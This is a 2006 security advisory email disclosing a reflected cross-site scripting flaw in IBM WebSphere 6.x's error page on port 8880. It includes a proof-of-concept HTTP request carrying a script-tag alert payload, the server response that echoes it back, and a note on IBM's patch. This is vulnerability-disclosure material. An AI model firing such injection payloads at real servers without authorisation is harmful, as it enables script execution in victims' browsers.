From: SecuriTeam <support@securiteam.com.>
To: [email protected]
Date: 13 Nov 2006 12:27:45 +0200
Subject: [NT] IBM WebSphere Application Server Cross Site Scripting
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IBM WebSphere Application Server Cross Site Scripting
------------------------------------------------------------------------
SUMMARY
IBM WebSphere Application Server is vulnerable to cross site scripting
through a 'faultfactor' tag in the 500 Internal Server Error page on port
8880 (default SOAP port).
DETAILS
Vulnerable Systems:
* WebSphere Application Server version 6.x
WebSphere Application Server is vulnerable to a cross site scripting
attack through the Internal Server Error page used on port 8880 of the
default WebSphere installation. This may allow the execution of malicious
script code in the browser of an individual who clicks on a link to a site
using the vulnerable version of WebSphere.
Request:
GET /<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT> HTTP/1.1
Host: 192.168.1.195:8880
Connection: close
Results:
HTTP/1.1 500 Internal Server Error
Server: WebSphere Application Server/6.0
Content-Type: text/xml; charset=utf-8
Content-Length: 3013
Connection: close
<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="6.0.0.1"
ns0:JMXMessageVersion="1.0.0" ns0:JMXVersion="1.2.0">
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<SOAP-ENV:Fault>
[output omitted]
<faultactor>/<SCRIPT>alert('Can%20Cross%20Site%20Attack')</SCRIPT></faultactor>
</SOAP-ENV:Fault>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Solution:
IBM has released patches to address this issue. They have tracked this
vulnerability as APAR PK16602.
ADDITIONAL INFORMATION
The information has been provided by <mailto:nuri.fattah@procheckup.com.>
Nuri Fattah.
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